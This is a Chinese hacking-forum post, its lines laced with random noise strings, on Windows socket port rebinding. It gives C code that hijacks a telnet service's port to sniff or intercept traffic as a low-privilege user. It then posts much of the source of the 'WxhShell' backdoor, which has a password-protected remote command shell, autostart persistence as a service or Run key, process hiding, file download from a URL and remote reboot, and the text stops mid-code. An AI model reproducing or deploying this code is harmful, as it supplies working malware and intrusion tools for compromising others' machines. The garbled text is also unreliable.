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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V470C@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I`p;F!s  
as_PoCoss  
  saddr.sin_family = AF_INET; 5 u0HI  
eR"<33{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;({W#Wa  
NgCvVWto  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ry_nKr9  
]g&TKm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1'\/,Es  
IaXeRq?<  
  这意味着什么?意味着可以进行如下的攻击: fd2T=fz-  
O7IJ%_A&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 alvrh'51  
k@:%:Sj 2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tu7QCr5*  
v}Fr@0%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JO< wU  
?I@W:#>o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ia 73?*mXT  
bY0|N[ g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 puM3g|n@  
RdML3E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;d9QAN&0}  
'08=yqy4N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I 2|Bg,e  
&JI8]JmU)  
  #include C73 kJa  
  #include :4%k9BGAj"  
  #include Ue~CwFOc  
  #include    >oe]$r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^a1^\X.~  
  int main() ^ovR7+V  
  { Y.r+wc]  
  WORD wVersionRequested; h2""9aP !  
  DWORD ret; 5[u]E~Fl}  
  WSADATA wsaData; xUistwq  
  BOOL val; Vy, DN~ag  
  SOCKADDR_IN saddr; u-5{U-^_  
  SOCKADDR_IN scaddr; (=@h23 vH  
  int err; /~f'}]W  
  SOCKET s; #ucBo<[  
  SOCKET sc; H DFOA  
  int caddsize; N' `A?&2ru  
  HANDLE mt; /Mu @,)''  
  DWORD tid;   7x4PaX(  
  wVersionRequested = MAKEWORD( 2, 2 ); t1y4 7fX6  
  err = WSAStartup( wVersionRequested, &wsaData ); J S_]FsxD  
  if ( err != 0 ) { 0=E]cQwh  
  printf("error!WSAStartup failed!\n"); 0s2v'A[\  
  return -1; *w&Y$8c(  
  } <yFu*(Q  
  saddr.sin_family = AF_INET; fsWTF<Y  
    'CkIz"Wd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'y3!fN =h  
ITT@,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OH(waKq2I  
  saddr.sin_port = htons(23); +&2%+[nBZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %n:k#  
  { e;}7G  
  printf("error!socket failed!\n"); q(2'\ _`u  
  return -1; KNIn:K^/  
  } 5,6"&vU,  
  val = TRUE; u^qT2Ss0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ah+iZ}E%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wx0j(:B]  
  { ^RtIh-Z.9  
  printf("error!setsockopt failed!\n"); 9c :cw  
  return -1; Ge-vWf-RbB  
  } g~A`N=r;h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HqT#$}rv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "mvt>X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .+A+|yR  
DG:Z=LuJr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [}0haTYc4  
  { Q|?L*Pq2I  
  ret=GetLastError(); 76h ,]xi  
  printf("error!bind failed!\n"); oEKvl3Hz_  
  return -1; =w 2**$  
  } l#Y,R 0  
  listen(s,2); X LOh7(  
  while(1) D2B%0sfl~  
  { D!-g&HBTC  
  caddsize = sizeof(scaddr); FZslv"F  
  //接受连接请求 Ks`J([(W&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]>nk"K!%  
  if(sc!=INVALID_SOCKET) )"aV* "  
  { PKg@[<g43  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U6fgo3RH  
  if(mt==NULL) R3&Iu=g  
  { D (?DW}Rqs  
  printf("Thread Creat Failed!\n"); iN8zo:&Z  
  break; M{T-iW"  
  } *kDCliL  
  } DKJmTH]rUg  
  CloseHandle(mt); fN^8{w/O  
  } \B,@`dw  
  closesocket(s); iE^84l68  
  WSACleanup(); >rKIG~P_  
  return 0; !0LWa"  
  }   dufu|BL|}  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ata:^qI  
  { UJ7*j%XQz_  
  SOCKET ss = (SOCKET)lpParam; %oa-WmWm  
  SOCKET sc; *Y7u'v  
  unsigned char buf[4096]; W_(j3pV?Ml  
  SOCKADDR_IN saddr; E GU 0)<  
  long num; X296tA>C`  
  DWORD val; 9BBmw(M}  
  DWORD ret; 0 e ~JMUb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z!zF\<r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3/e.38m|  
  saddr.sin_family = AF_INET; EPM-df!=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J({Xg?  
  saddr.sin_port = htons(23); RF4vtQC=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9FYUo  
  { tKx~1-  
  printf("error!socket failed!\n"); gS]@I0y8 .  
  return -1; Mhf5bN|wQ  
  } &n}f?  
  val = 100; qCpp6~]Um  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }1i`6`y1  
  { VfC<WVYiZ  
  ret = GetLastError(); &zeyE;/Hj  
  return -1; O6a<`]F  
  } _w+:Dv~*a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ipgC RHE  
  { j8{i#;s!"  
  ret = GetLastError(); `WFw3TI  
  return -1; f:|1_j  
  } J1RJ*mo7,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GmEJhr.3`=  
  { cyv`B3}  
  printf("error!socket connect failed!\n"); Z=Y& B>:[  
  closesocket(sc); 6@ IXqKz  
  closesocket(ss); )SRefW.v  
  return -1; @oY~..d`  
  } L<-_1!wh  
  while(1) 6/Xk7B  
  { Eog0TQ+*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )E@.!Ut4o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JNYFD8J~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z] P SpUd  
  num = recv(ss,buf,4096,0); }mq6]ZrK  
  if(num>0) dIa+K?INX  
  send(sc,buf,num,0); xU>WEm2  
  else if(num==0) RD'Q :W  
  break; #crQ1p) \  
  num = recv(sc,buf,4096,0); #9}D4i.`}  
  if(num>0) D] jz A x  
  send(ss,buf,num,0); (%e .:W${  
  else if(num==0) T?soJ]A  
  break; ukfQe }I  
  } ag#S6E^%S  
  closesocket(ss); *,8^@(th  
  closesocket(sc); m=A(NKZ   
  return 0 ; kmsb hYM)  
  } Agg<tM{yB  
w QH<gJE/:  
k,E{C{^M  
========================================================== )=Z>#iH1  
\fyRsa)  
下边附上一个代码,,WXhSHELL N~d?WD\^  
]&xk30  
========================================================== otl0J Ht*+  
_jI,)sr4ic  
#include "stdafx.h" XQs1eP'{  
z Rl3KjET  
#include <stdio.h> '}JhzKNj  
#include <string.h> X!Mx5fg  
#include <windows.h> B=yqW  
#include <winsock2.h> N^ds RYC  
#include <winsvc.h> V>)OpvoT#  
#include <urlmon.h> t?ZI".>  
V b4#,  
#pragma comment (lib, "Ws2_32.lib") YEs&  
#pragma comment (lib, "urlmon.lib") Y1OkkcPb{  
}QcCS2)Ud  
#define MAX_USER   100 // 最大客户端连接数 KL:j?.0  
#define BUF_SOCK   200 // sock buffer X_ cV%#  
#define KEY_BUFF   255 // 输入 buffer {M$1N5Eh  
!M]uL&:  
#define REBOOT     0   // 重启 z(exA  
#define SHUTDOWN   1   // 关机 $L>@Ed<  
>#;.n(y  
#define DEF_PORT   5000 // 监听端口 BNl5!X^{  
c74.< @w  
#define REG_LEN     16   // 注册表键长度 6C^ D#.S  
#define SVC_LEN     80   // NT服务名长度 m )zUU  
^ f &XQQY  
// 从dll定义API ICoHI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .hP D$o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |vwVghC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2d(e:r h]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wd^':  
z^q0/'  
// wxhshell配置信息 YTpSHpf@  
struct WSCFG { c9'vDTE%~  
  int ws_port;         // 监听端口  &)Tdc  
  char ws_passstr[REG_LEN]; // 口令 OwUhdiG  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5\sd3<:+  
  char ws_regname[REG_LEN]; // 注册表键名 +L| ?~p`V  
  char ws_svcname[REG_LEN]; // 服务名 M~#gRAUJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %@ODs6 R0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bv9]\qC]T<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p2[n$61   
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^q vbqfh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N/'b$m5= S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 88gM?G _X  
BB$>h}  
}; [0[i5'K:  
D/B8tf+V  
// default Wxhshell configuration eRstD>r  
struct WSCFG wscfg={DEF_PORT, uk]$#TV*q>  
    "xuhuanlingzhe", ua Gk6S  
    1, 5 +YH.4R  
    "Wxhshell", cLJ$M`e  
    "Wxhshell", C12Fl  
            "WxhShell Service", %2/EaaR  
    "Wrsky Windows CmdShell Service", eKLZt%=  
    "Please Input Your Password: ", `$<.pOm  
  1, }J`w4P  
  "http://www.wrsky.com/wxhshell.exe", Nk 8B_{  
  "Wxhshell.exe"  O67W&nz  
    }; `?qF$g9u~  
n;Q7X>-f8`  
// 消息定义模块 K?Nhi^f"L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :&rt)/I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H8zK$!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \*y-g@-{W$  
char *msg_ws_ext="\n\rExit."; V-2(?auZd  
char *msg_ws_end="\n\rQuit."; v0+BkfU+p  
char *msg_ws_boot="\n\rReboot..."; Z1f8/?`W  
char *msg_ws_poff="\n\rShutdown..."; D~fl JR  
char *msg_ws_down="\n\rSave to "; b-?gw64#  
sPQQ"|wU  
char *msg_ws_err="\n\rErr!"; [{,T.;'<j  
char *msg_ws_ok="\n\rOK!"; Apag{Z]^B  
\?ZB]*Fu  
char ExeFile[MAX_PATH]; sA/D]W.P  
int nUser = 0; fS:&Ak ];  
HANDLE handles[MAX_USER]; Y%aCMP9j~9  
int OsIsNt; !r8 `Yrn  
~i{(<.he  
SERVICE_STATUS       serviceStatus;  c(E{6g?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]BZA:dd.G  
q[ZTHd.-  
// 函数声明 ")5":V~fN  
int Install(void); Al^d$FaF  
int Uninstall(void); {n.PF8A5X  
int DownloadFile(char *sURL, SOCKET wsh); !cLo> ,4  
int Boot(int flag); 7\[@ m3s  
void HideProc(void); 8.=BaNU  
int GetOsVer(void); =.U[$~3q%  
int Wxhshell(SOCKET wsl); q=m'^ ,gPS  
void TalkWithClient(void *cs); oj<gD  
int CmdShell(SOCKET sock); $am$ EU?s  
int StartFromService(void); Xp% v.M  
int StartWxhshell(LPSTR lpCmdLine); "5!oi]@>(  
uc\Kg1{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \<>ih)J@tt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7wqK>Y1a  
CL;}IBd a  
// 数据结构和表定义 OU.6bmWy|  
SERVICE_TABLE_ENTRY DispatchTable[] = ~2N"#b&J  
{ _pG-qK  
{wscfg.ws_svcname, NTServiceMain}, j#x6  
{NULL, NULL} RFcv^Xf  
}; nYSiS}?S .  
|O+H[;TB6  
// 自我安装 ) 7@ `ut  
int Install(void) +oML&g-g_  
{ gp?uHKsM  
  char svExeFile[MAX_PATH]; 6ex/TySM  
  HKEY key; : /N0!&7  
  strcpy(svExeFile,ExeFile); fu ,}1Mq#  
, WYPU  
// 如果是win9x系统,修改注册表设为自启动 $G+@_'  
if(!OsIsNt) { EjR9JUu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5yo%$i8I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k FD; i  
  RegCloseKey(key); ~&{S<Wl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'ya{9EdlT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H;LViP2K*  
  RegCloseKey(key); ^*Q ?]N  
  return 0; (gU!=F?#m  
    } )m)-o4c  
  } Bahm]2  
} |F[+k e  
else { k5e;fA/w  
50wulGJud  
// 如果是NT以上系统,安装为系统服务 ^|(LAjet  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5d^sA;c  
if (schSCManager!=0) 5m 4P\y^a  
{ =R|HV;9 h  
  SC_HANDLE schService = CreateService Y =I'czg  
  (  A,<E\  
  schSCManager, iy!=6  
  wscfg.ws_svcname, n'LrQU  
  wscfg.ws_svcdisp, Pn1^NUMZJ  
  SERVICE_ALL_ACCESS, #A/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  'KL0@l  
  SERVICE_AUTO_START, v$v-2y'%  
  SERVICE_ERROR_NORMAL, -f^tE,-  
  svExeFile, P4'Q/Sj  
  NULL, j2[+z tG  
  NULL, tw/dD +  
  NULL, q3N jky1w  
  NULL, o#Dk& cH  
  NULL ED( Sg  
  ); `UaD6Mc<Mz  
  if (schService!=0) +GN(Ug'R  
  { u4?L 67x  
  CloseServiceHandle(schService); _< V)-Y  
  CloseServiceHandle(schSCManager); ^ VyKd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AeM^73t  
  strcat(svExeFile,wscfg.ws_svcname); BwpqNQN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7S :\"A7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lb3b m)@:  
  RegCloseKey(key); &PHTpkaam  
  return 0; {\1?ZrCI&  
    } -d/ =5yxL  
  } Hzz %3}E  
  CloseServiceHandle(schSCManager); yx[/|nZDC4  
} '<)n8{3Q5w  
} Q&tG4f<  
L`TLgH&?R  
return 1; U '_Q>k  
} & J'idYD  
3;9^  
// 自我卸载 WE#^a6  
int Uninstall(void) V2EUW!gn 2  
{ f'RX6$}\1X  
  HKEY key; >uRI'24  
'JE`(xD  
if(!OsIsNt) { \*?~Yj #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^z*t%<@[Q  
  RegDeleteValue(key,wscfg.ws_regname); ]s'as9s9  
  RegCloseKey(key); RbnVL$c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Kc  
  RegDeleteValue(key,wscfg.ws_regname); &r /Mi%  
  RegCloseKey(key); $%d*@ 'c  
  return 0; V f&zL Sgr  
  } BDDlQci38  
} O0v}43J [  
} Nai2W<,  
else { Sz`,X0a  
t3_O H^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zC!t;*8a  
if (schSCManager!=0) $h"\N$iSq  
{ 9cF[seE"0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]%H`_8<gc  
  if (schService!=0) q54]1TQ  
  { tDcT%D {:  
  if(DeleteService(schService)!=0) { q<|AZ2Ai  
  CloseServiceHandle(schService); #trK^(  
  CloseServiceHandle(schSCManager); (?c"$|^J  
  return 0; Btn?N  
  } 7n<{tM  
  CloseServiceHandle(schService); !Ai@$tl[S  
  } [9L:),&u  
  CloseServiceHandle(schSCManager); FW4<5~'  
} W{+2/P  
} 3nQ`]5.Q w  
#c!lS<z  
return 1; Ld~/u]K%V  
} C&%_a~  
{VRf0c  
// 从指定url下载文件 CHX#^0m.  
int DownloadFile(char *sURL, SOCKET wsh) W ac&b  
{ 0{D'n@veP  
  HRESULT hr; va@Lz&sAE%  
char seps[]= "/"; k4J+J.|  
char *token; \R_C&=  
char *file; SqpaFWr  
char myURL[MAX_PATH]; S,UDezxg  
char myFILE[MAX_PATH]; oMa6(3T?E  
q<1 ~ vA9  
strcpy(myURL,sURL); CD~.z7,LC  
  token=strtok(myURL,seps); T0)@pt7>  
  while(token!=NULL) 3=j"=-=  
  { PJH&  
    file=token; 8l`*]1.W<  
  token=strtok(NULL,seps); f]CXu3w(J  
  } h:|qC`}  
wmLs/:~  
GetCurrentDirectory(MAX_PATH,myFILE); YS0<qSN  
strcat(myFILE, "\\"); } q8ASYNc  
strcat(myFILE, file); 4tBYR9|  
  send(wsh,myFILE,strlen(myFILE),0); H.MI5O(Q  
send(wsh,"...",3,0); e9 B064  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iYy1!\  
  if(hr==S_OK) ?Uo BV$  
return 0; 4V`G,W4^J  
else rey!{3U  
return 1; =aW9L)8D  
%.|@]!C  
} Km$\:Xo  
9%9#_?RW  
// 系统电源模块 bk[!8- b/a  
int Boot(int flag) NzvXN1_%  
{ +I28|*K"  
  HANDLE hToken; \9T7A&  
  TOKEN_PRIVILEGES tkp; K$=zi}J W  
6'f;-2  
  if(OsIsNt) { #H~64/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M\BRcz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;2QP7PrSY  
    tkp.PrivilegeCount = 1; T>W,'H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]Y&VT7+Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +ZP7{%  
if(flag==REBOOT) { i83OOV$1J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f/?P514h  
  return 0; sYA1\YIii  
} BI@[\aRLQ  
else { S_H+WfIHV'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >A"(KSNL  
  return 0; /)O"l@ }U  
} a%0EiU  
  } QMm%@zH  
  else { [$UI8tV  
if(flag==REBOOT) { t]G:L}AOl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X:{!n({r=  
  return 0; @H8EWTZ  
} s eJ^s@H5l  
else { {' H(g[k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :ShT|n7  
  return 0; jPkn[W# 6  
} aN3;`~{9  
} ?a]mDx>xh  
)4;`^]F  
return 1; +=)+'q]S  
} jebx40TA3  
qH_Dc=~la  
// win9x进程隐藏模块 1$ {SRU7l  
void HideProc(void) u*9V&>o  
{ rytyw77t(  
,a? o aPH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); veECfR;  
  if ( hKernel != NULL ) 47/iF97  
  { tZo} ;|~'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '|=;^Z7.K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LDa1X2N  
    FreeLibrary(hKernel); GC'O[q+  
  } j'K/22  
Ax}JLPz5'  
return; _@/8gPT*i  
} X}0cCdW  
k9F=8q  
// 获取操作系统版本 wy2 D;;  
int GetOsVer(void) Eh4= ZEX  
{ 8q7b_Pq1U  
  OSVERSIONINFO winfo; <gBA1oRz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <OPArht  
  GetVersionEx(&winfo); L}NSR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }<:}XlwT%  
  return 1; /qw.p#  
  else QS`]  
  return 0; 1h5 Akq  
} vZ Lf  
}(u ol  
// 客户端句柄模块 e96k{C`j0  
int Wxhshell(SOCKET wsl) &cTU sK  
{ FVBYo%Ap  
  SOCKET wsh; x,Vr=FB  
  struct sockaddr_in client; hpk7 A np  
  DWORD myID; RG`1en  
=g|FT  
  while(nUser<MAX_USER) P0b7S'a4!  
{ $ME)#(  
  int nSize=sizeof(client); IE~ |iQ?-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >LuYHr  
  if(wsh==INVALID_SOCKET) return 1; #_lDss  
a[TMDU;(/4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T[j,UkgGo  
if(handles[nUser]==0) u#SWj,X  
  closesocket(wsh); 3+bt~J0  
else Aiea\j Bv  
  nUser++; Wm5 dk9&x  
  } rVsJ`+L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <54 S  
Y6d@h? ht  
  return 0; vr^qWn  
} ,Y48[_ymm  
Du){rVY^d  
// 关闭 socket Lj;2\]  
void CloseIt(SOCKET wsh) <0?W{3NqI  
{ DlNX 3  
closesocket(wsh); igAtRX%Qx  
nUser--; _J[P[(ab  
ExitThread(0); ;A!BVq  
} hR|MEn6KC  
>F&47Yn  
// 客户端请求句柄  8dyg1F  
void TalkWithClient(void *cs) wlmRe`R  
{ {]|J5Dgfe  
m j@13$=  
  SOCKET wsh=(SOCKET)cs; 5/z/>D;  
  char pwd[SVC_LEN]; */DO ex"y  
  char cmd[KEY_BUFF]; {1 94!S4z  
char chr[1]; 0qT%!ku&  
int i,j; ?G&ikxl  
c[Zje7 @  
  while (nUser < MAX_USER) { Z EO WO  
^G-@06/!  
if(wscfg.ws_passstr) { 7"xd1l?zz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WMP,\=6k0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b<u3 hln%,  
  //ZeroMemory(pwd,KEY_BUFF); B?o7e<l[  
      i=0; Xb,3Dvf  
  while(i<SVC_LEN) { BFW&2  
+d-NL?c  
  // 设置超时 yR.Ong  
  fd_set FdRead; 76` .Y  
  struct timeval TimeOut; L4?IHNB  
  FD_ZERO(&FdRead); ei5~&  
  FD_SET(wsh,&FdRead); n?K  
  TimeOut.tv_sec=8; ^/=KK:n~  
  TimeOut.tv_usec=0; k-""_WJ~^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7j)8Djzp|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W`*r>`krVJ  
B,fo(kG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FU<Jp3<%  
  pwd=chr[0]; 7vj2 `+r.  
  if(chr[0]==0xd || chr[0]==0xa) { dGTsc/$  
  pwd=0; :p6M=  
  break; O<W_fx8_'  
  } -s'-eQF J  
  i++; mlS$>O_aX  
    } ?b5 ^  
!$>R j  
  // 如果是非法用户,关闭 socket Nl(Foya%)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VOh4#%Vj  
} @$K"o7+]   
cPc</[x[W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rk)`\=No  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b\+`e b8_  
;P&OX5~V  
while(1) { )sQ*Rd@t[8  
-RK- Fu<e  
  ZeroMemory(cmd,KEY_BUFF); -`TEVS?`l  
9k[9P;"F:  
      // 自动支持客户端 telnet标准   XHGFf_kW_N  
  j=0; LB?u8>a' I  
  while(j<KEY_BUFF) { %GIr&V4|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `x%>8/  
  cmd[j]=chr[0]; "Os_vlapHo  
  if(chr[0]==0xa || chr[0]==0xd) { ps DetP  
  cmd[j]=0; Xm2z}X(%  
  break; S?BG_J6A7  
  } 4|#WFLo@  
  j++; >~+ELVB&  
    } {P#|zp4C{  
&Z|P2dI  
  // 下载文件 VTHH&$ZNq  
  if(strstr(cmd,"http://")) { wJY'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n>U5R_T  
  if(DownloadFile(cmd,wsh)) 2jCfT>`3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KdbHyg<4  
  else H~z`]5CN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PRE|+=w$  
  } 6Sn.I1Wy  
  else { QUQ'3  
0}dpK $.  
    switch(cmd[0]) { Tc3yS(aq  
  ^\,E&=/}M  
  // 帮助 K@w{"7}  
  case '?': { 0NX,QD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b9dLt6d  
    break; 0%I=d  
  } I4?5K@a  
  // 安装 D*|Bb?  
  case 'i': { 4x[S\,20  
    if(Install()) 07=mj%yV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t}/( b/VD  
    else x `)&J B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =kG@a(-  
    break; Q>1[JW{$}  
    } KL Xq\{X  
  // 卸载 [0D .K}7|  
  case 'r': { ijx0gh`~  
    if(Uninstall()) 0>Z_*U~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *% @h(js  
    else =+d?x 56  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -v|qZ'  
    break; zjoq6  
    } e6RPIg  
  // 显示 wxhshell 所在路径 C8i^P}y  
  case 'p': { G+\GaY[  
    char svExeFile[MAX_PATH]; 0'?L#K  
    strcpy(svExeFile,"\n\r"); UN<]N76!  
      strcat(svExeFile,ExeFile); $z*'fXg  
        send(wsh,svExeFile,strlen(svExeFile),0); WaR`Kp+>  
    break; ~zNAbaC+>t  
    } XAL1|] S  
  // 重启 iTU5l5Uz  
  case 'b': { fkNbS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e'D&8z_;  
    if(Boot(REBOOT)) I"7u2"@-8j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bhlG,NTP  
    else {  l"]}Ts#  
    closesocket(wsh); P3 ^Y"Pv?  
    ExitThread(0); w}cPs{Vi"  
    } j]/RC(;?  
    break; fMyti$1~  
    } oIj#>1~c%  
  // 关机 ]}2ZttQ?  
  case 'd': { '}bgLv  
